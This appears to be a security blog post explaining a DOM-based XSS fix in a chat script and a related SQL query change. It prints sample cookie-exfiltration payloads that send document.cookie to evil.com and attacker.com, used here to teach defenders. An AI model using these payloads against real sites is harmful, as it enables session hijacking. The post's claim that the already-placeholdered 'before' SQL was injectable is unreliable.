Back to Blog
low SEVERITY9 min read

When innerHTML Meets User Data: Fixing XSS Vulnerabilities in JavaScript

A low-severity Cross-Site Scripting (XSS) vulnerability was identified in `agent_chat.js`, where user-controlled data was being passed directly into DOM manipulation methods like `innerHTML`. While rated low severity, XSS vulnerabilities can be chained with other attacks to steal session tokens, redirect users, or execute arbitrary scripts in a victim's browser. The fix eliminates the unsafe pattern by replacing direct HTML injection with safer DOM manipulation techniques.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 28, 2026•Reviewed June 3, 2026

Answer Summary

This is a DOM-based Cross-Site Scripting (XSS) vulnerability (CWE-79) in JavaScript browser code, specifically in `agent_chat.js`, where user-controlled data was assigned directly to `innerHTML`. The risk is that an attacker who can influence that data can inject malicious HTML or `<script>` tags into the page. The fix replaces `innerHTML` assignments with safe DOM APIs such as `textContent` or `createElement`/`appendChild`, which treat input as plain text rather than executable markup.

Vulnerability at a Glance

cweCWE-79
fixReplace innerHTML assignments with textContent or safe DOM construction APIs
riskAttacker-controlled data rendered as HTML, enabling script injection
languageJavaScript (Browser)
root causeUser-supplied data assigned to innerHTML without sanitization
vulnerabilityCross-Site Scripting (XSS) via unsafe innerHTML assignment

Introduction

Cross-Site Scripting (XSS) is one of the most persistent and misunderstood vulnerabilities in web development. It consistently appears in the OWASP Top 10 — not because it's exotic or difficult to understand, but because it's surprisingly easy to introduce accidentally, especially when working with dynamic content in JavaScript.

In this post, we'll walk through a real-world fix applied to opencontext/web/static/js/agent_chat.js, where user-controlled data was being passed into DOM manipulation methods like innerHTML. We'll also dig into a related backend fix that tightened up SQL query construction. Together, these changes represent the kind of defense-in-depth thinking that separates secure applications from vulnerable ones.

Whether you're a junior developer just learning about XSS or a senior engineer doing a security review, this post will give you practical, actionable knowledge.


What Is This Vulnerability?

At its core, this vulnerability is about trusting user input too much, too early.

When JavaScript code takes a string that originates from user input — a chat message, a username, a URL parameter — and directly injects it into the DOM using methods like:

  • element.innerHTML = userInput
  • element.outerHTML = userInput
  • document.write(userInput)

...it opens the door for an attacker to inject arbitrary HTML and JavaScript into the page.

This is the essence of a DOM-based XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation).

Why Should Developers Care?

You might be thinking: "It's rated low severity — how bad can it really be?"

Here's the thing about XSS: its severity is heavily context-dependent. A low-severity XSS in an isolated component can become a critical vulnerability when:

  • The affected page has access to authentication tokens or cookies
  • The application handles sensitive personal or financial data
  • The XSS can be stored (persisted in a database) and served to many users
  • It's chained with other vulnerabilities like CSRF or open redirects

In a chat interface like agent_chat.js, user-generated content is the entire point of the feature. That makes XSS hygiene especially important — every message rendered is a potential injection point.


The Vulnerability Explained

Technical Details

Let's look at the anti-pattern at the heart of this issue:

// ❌ VULNERABLE: Directly injecting user-controlled content into innerHTML
function renderMessage(userMessage) {
  const chatContainer = document.getElementById('chat-messages');
  chatContainer.innerHTML += `<div class="message">${userMessage}</div>`;
}

When userMessage contains something innocent like "Hello, world!", this works fine. But what if an attacker (or a mischievous user) sends this instead?

<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

The browser parses that as valid HTML, renders a broken image, and executes the onerror handler — silently sending the victim's cookies to an attacker-controlled server.

How Could It Be Exploited?

Attack Scenario: Cookie Theft in a Chat Interface

  1. An attacker opens the chat interface and sends a message containing a malicious payload.
  2. If the message is stored server-side (stored XSS), every user who opens the chat later will have the script execute in their browser.
  3. If it's reflected (the attacker shares a crafted URL), the victim clicks the link and the script executes immediately.
  4. The script exfiltrates the session cookie, which the attacker uses to impersonate the victim.
// Payload example (URL-encoded for a reflected XSS scenario):
<script>document.location='https://attacker.com/log?c='+document.cookie</script>

// Or more subtle, using an event handler:
<svg onload="new Image().src='https://attacker.com/?x='+btoa(document.cookie)">

What's the Real-World Impact?

Impact Type Description
Session Hijacking Steal authentication cookies to impersonate users
Credential Harvesting Inject fake login forms to capture passwords
Malware Distribution Redirect users to malicious downloads
Defacement Alter the visual appearance of the page
Keylogging Capture everything a user types
Cryptojacking Run cryptocurrency miners in the victim's browser

The Fix

What Changed?

The fix addresses the unsafe DOM manipulation pattern in agent_chat.js by replacing direct innerHTML assignment with safer alternatives. The principle is simple: never hand raw user input to the browser's HTML parser.

Before: The Vulnerable Pattern

// ❌ BEFORE: User content injected directly as HTML
function displayAgentResponse(response) {
  const messageDiv = document.getElementById('agent-response');
  messageDiv.innerHTML = response; // 🚨 Dangerous!
}

// ❌ Also dangerous with template literals:
chatLog.innerHTML += `
  <div class="chat-bubble user">
    ${userInput}
  </div>
`;

After: The Safe Pattern

// ✅ AFTER: Using textContent for plain text
function displayAgentResponse(response) {
  const messageDiv = document.getElementById('agent-response');

  const bubble = document.createElement('div');
  bubble.className = 'chat-bubble agent';
  bubble.textContent = response; // ✅ Safe: treated as plain text, not HTML

  messageDiv.appendChild(bubble);
}

// ✅ Or using DOM APIs to build structure safely:
function renderUserMessage(userInput) {
  const chatLog = document.getElementById('chat-log');

  const wrapper = document.createElement('div');
  wrapper.className = 'chat-bubble user';
  wrapper.textContent = userInput; // ✅ No HTML parsing

  chatLog.appendChild(wrapper);
}

Why Does This Fix Work?

The key difference is how the browser interprets the content:

Method Interpretation Safe for User Input?
innerHTML = userInput Parsed as HTML ❌ No
outerHTML = userInput Parsed as HTML ❌ No
document.write(userInput) Parsed as HTML ❌ No
textContent = userInput Treated as plain text ✅ Yes
createTextNode(userInput) Treated as plain text ✅ Yes
setAttribute('data-x', userInput) Attribute value (with caveats) ⚠️ Context-dependent

When you use textContent, the browser automatically escapes characters like <, >, and & into their HTML entities (&lt;, &gt;, &amp;). The content is displayed exactly as typed — no script execution possible.

The Backend Fix: Parameterized SQL Queries

The PR also included an important backend fix in sqlite_backend.py. While not directly related to the XSS issue, it's worth understanding because it demonstrates the same core principle: never concatenate user-controlled data into executable strings.

Before (Vulnerable to SQL Injection):

# ❌ BEFORE: Building SQL conditions in a loop, concatenating strings
tag_conditions = []
for tag in tags:
    tag_conditions.append("document_tags.tag = ?")
    params.append(tag.lower())

if tag_conditions:
    where_conditions.append(
        f'id IN (SELECT document_id FROM document_tags WHERE {" OR ".join(tag_conditions)})'
    )

After (Safe Parameterized Query):

# ✅ AFTER: Using IN clause with proper placeholders
if tags:
    # Use proper parameterized query for tags
    tag_placeholders = ",".join(["?"] * len(tags))
    where_conditions.append(
        f'id IN (SELECT document_id FROM document_tags WHERE tag IN ({tag_placeholders}))'
    )
    for tag in tags:
        params.append(tag.lower())

The new approach generates a clean IN (?, ?, ?) clause where the number of placeholders exactly matches the number of tags. The database driver handles the safe binding of values, ensuring no tag value can ever break out of its intended context and modify the query structure.

This is the SQL equivalent of using textContent instead of innerHTML — keep data as data, never let it become code.


Conclusion

The vulnerability fixed in this PR is a classic example of how convenience and security can come into conflict. innerHTML is powerful and easy to use — that's exactly why it's dangerous when combined with user-controlled data.

The key takeaways from this fix are:

  1. User input is untrusted by default — treat it as data, never as markup or code
  2. textContent is your friend — it's the safe default for rendering user-provided strings
  3. When you need HTML, sanitize first — use DOMPurify or equivalent before touching innerHTML
  4. Defense in depth matters — CSP and Trusted Types add layers that catch what code review misses
  5. The same principle applies everywhere — whether it's HTML injection in the browser or SQL injection in the backend, the fix is the same: parameterize and separate data from code

Security vulnerabilities like XSS aren't signs of bad developers — they're signs of missing guardrails. By integrating static analysis tools like Semgrep into your CI/CD pipeline and establishing clear coding standards around DOM manipulation, you can catch these issues before they ever reach production.

Secure code is a habit, not an afterthought. Keep building it.


Found a security issue in your codebase? Automated tools like Semgrep can help you catch these patterns at scale before they become incidents.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #275

Related Articles

critical

fast-xml-parser 4.5.0 XSS: DOCTYPE Entity Injection in XML.parse()

fast-xml-parser versions 4.5.0 and earlier fail to sanitize DOCTYPE entity declarations during XML parsing, allowing attackers to inject JavaScript through crafted XML payloads. The vulnerability permits reflected XSS in applications that process untrusted XML input. Upgrading to version 5.7.0 eliminates the unsafe entity expansion path.

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.